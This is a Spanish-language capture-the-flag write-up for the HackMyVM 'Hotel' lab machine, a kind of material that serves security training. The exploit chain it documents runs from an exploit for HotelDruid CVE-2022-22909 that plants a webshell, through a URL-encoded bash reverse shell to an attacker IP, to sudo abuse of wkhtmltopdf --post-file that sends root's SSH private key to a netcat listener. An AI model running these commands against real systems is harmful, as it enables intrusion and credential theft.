cd ~/blog

~/writeups/hmv/009-hotel.md

009 - Hotel

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
HotelDruid RCE (CVE-2022-22909)Credential Exposure mediante una grabación ttylogSudo-Allowed Program Abuse mediante wkhtmltopdf para exfiltrar archivos privilegiados
hackmyvm.eu/machines/machine.php?vm=Hotel

~2 min de lectura


Enumeración de servicios

El escaneo identifica SSH y un sitio HotelDruid servido por Nginx. La identificación del producto permite orientar la búsqueda de vulnerabilidades hacia su versión y funcionalidades:

nmap -sC -sV -p22,80 -oN 02-targeted 192.168.1.60
Nmap scan report for 192.168.1.60
Host is up (0.00029s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
|   3072 06:1f:a2:25:19:45:2b:2f:44:cc:74:7a:e2:9b:ab:ac (RSA)
|   256 6f:b9:da:fb:eb:6b:4c:de:33:63:b7:ce:f0:2f:f7:cd (ECDSA)
|_  256 84:fb:1d:5c:4c:c6:60:e8:47:d8:2f:a0:92:8e:fb:18 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title:  Hoteldruid
|_http-server-header: nginx/1.18.0
MAC Address: 08:00:27:38:05:13 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Enumeración web

Gobuster confirma la estructura de HotelDruid y descubre /dati, el directorio que utilizará posteriormente el exploit:

❯ gobuster dir -u http://192.168.1.60 -w ~/Documentos/git-clones/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
/index.html           (Status: 200) [Size: 398]
/img                  (Status: 301) [Size: 169] [--> http://192.168.1.60/img/]
/themes               (Status: 301) [Size: 169] [--> http://192.168.1.60/themes/]
/doc                  (Status: 301) [Size: 169] [--> http://192.168.1.60/doc/]
/includes             (Status: 301) [Size: 169] [--> http://192.168.1.60/includes/]
/README               (Status: 200) [Size: 204]
/api.php              (Status: 200) [Size: 0]
/COPYING              (Status: 200) [Size: 34520]
/dati                 (Status: 301) [Size: 169] [--> http://192.168.1.60/dati/]
/clienti.php          (Status: 200) [Size: 53412]

Explotación de HotelDruid

En esta instancia, el exploit alcanza HotelDruid RCE (CVE-2022-22909) sin aportar una sesión previa. La vulnerabilidad está identificada como CVE-2022-22909. El script introduce una carga manipulada en el nombre de una habitación y deja disponible selectappartamenti.php?cmd=, un endpoint que evalúa el comando recibido.

La ficha de NVD asigna a la CVE privilegios bajos requeridos. Por ello, el funcionamiento de --noauth describe esta instalación concreta del laboratorio y no debe generalizarse a todas las instancias afectadas.

El exploit no entrega una sesión interactiva por sí mismo. Su resultado es una webshell persistente dentro de /dati/selectappartamenti.php; validar whoami comprueba la identidad y la ruta antes de solicitar una conexión inversa.

Ejecutamos el exploit contra la instancia:

❯ python3 CVE_2022-22909_Hotel_Druid_3.0.3_RCE.py -t http://192.168.1.60 --noauth

 /$$   /$$             /$$               /$$       /$$$$$$$                      /$$       /$$
| $$  | $$            | $$              | $$      | $$__  $$                    |__/      | $$
| $$  | $$  /$$$$$$  /$$$$$$    /$$$$$$ | $$      | $$  \ $$  /$$$$$$  /$$   /$$ /$$  /$$$$$$$
| $$$$$$$$ /$$__  $$|_  $$_/   /$$__  $$| $$      | $$  | $$ /$$__  $$| $$  | $$| $$ /$$__  $$
| $$__  $$| $$  \ $$  | $$    | $$$$$$$$| $$      | $$  | $$| $$  \__/| $$  | $$| $$| $$  | $$
| $$  | $$| $$  | $$  | $$ /$$| $$_____/| $$      | $$  | $$| $$      | $$  | $$| $$| $$  | $$
| $$  | $$|  $$$$$$/  |  $$$$/|  $$$$$$$| $$      | $$$$$$$/| $$      |  $$$$$$/| $$|  $$$$$$$
|__/  |__/ \______/    \___/   \_______/|__/      |_______/ |__/       \______/ |__/ \_______/

Exploit By - 0z09e (https://twitter.com/0z09e)

[*] Trying to access the Dashboard.
[*] Checking the privilege of the user.
[+] User has the privilege to add room.
[*] Adding a new room.
[+] Room has been added successfully.
[*] Testing code exection
[+] Code executed successfully, Go to http://192.168.1.60/dati/selectappartamenti.php and execute the code with the parameter 'cmd'.
[+] Example : http://192.168.1.60/dati/selectappartamenti.php?cmd=id
[+] Example Output : uid=33(www-data) gid=33(www-data) groups=33(www-data)

Después de verificar la ejecución con id, enviamos una reverse shell codificada en URL mientras mantenemos un listener en el puerto 1234:

http://192.168.1.60/dati/selectappartamenti.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.10/1234%200%3E%261%22

Exposición de credenciales en ttylog

En /var/www/hotel encontramos ttylog, una grabación de terminal. ttyplay reproduce las pulsaciones y salidas registradas, entre ellas una contraseña escrita durante una sesión anterior.

Un ttylog registra la sesión completa, incluidas entradas que normalmente no aparecen en .bash_history. Por eso puede revelar una contraseña escrita durante su o una autenticación interactiva.

Reproducimos la grabación:

ttyplay ttylog
my passw0rd is ********

Usamos la contraseña recuperada con su person, cambiamos a una cuenta interactiva y obtenemos la primera flag.

sudo -l revela que person puede ejecutar wkhtmltopdf como root sin contraseña:

Matching Defaults entries for person on hotel:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User person may run the following commands on hotel:
    (root) NOPASSWD: /usr/bin/wkhtmltopdf

Exfiltración de la clave SSH de root

wkhtmltopdf puede adjuntar un archivo local a una petición HTTP mediante --post-file. Este caso de Sudo-Allowed Program Abuse permite abrir /root/.ssh/id_rsa con privilegios y enviarla a nuestro listener.

La utilidad actúa como lector privilegiado. La apertura ocurre dentro del proceso iniciado por sudo; el servidor HTTP del atacante recibe el contenido y permite reconstruir la clave para un acceso SSH posterior.

La orden utilizada es:

sudo -u root /usr/bin/wkhtmltopdf --post-file 'file' /root/.ssh/id_rsa http://192.168.1.10:8081 root.pdf

Con netcat a la escucha recibimos la clave:

❯ sudo nc -lnvp 8081
Listening on 0.0.0.0 8081
Connection received on 192.168.1.60 56398
POST / HTTP/1.1
Host: 192.168.1.10:8081
Content-Type: multipart/form-data, boundary=b4998f3f6c9e4322b3071f11389b7d78
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/602.1 (KHTML, like Gecko) wkhtmltopdf Version/10.0 Safari/602.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: null
Content-Length: 2727
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,en,*

--b4998f3f6c9e4322b3071f11389b7d78
content-disposition: form-data; name="file"; filename="id_rsa"

-----BEGIN OPENSSH PRIVATE KEY-----
...

Extraemos la clave del cuerpo multipart y la guardamos con permisos 600. Las notas registran que se utilizó para iniciar sesión por SSH como root y recuperar la flag final, pero no conservaron el comando ni la salida de esa sesión.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados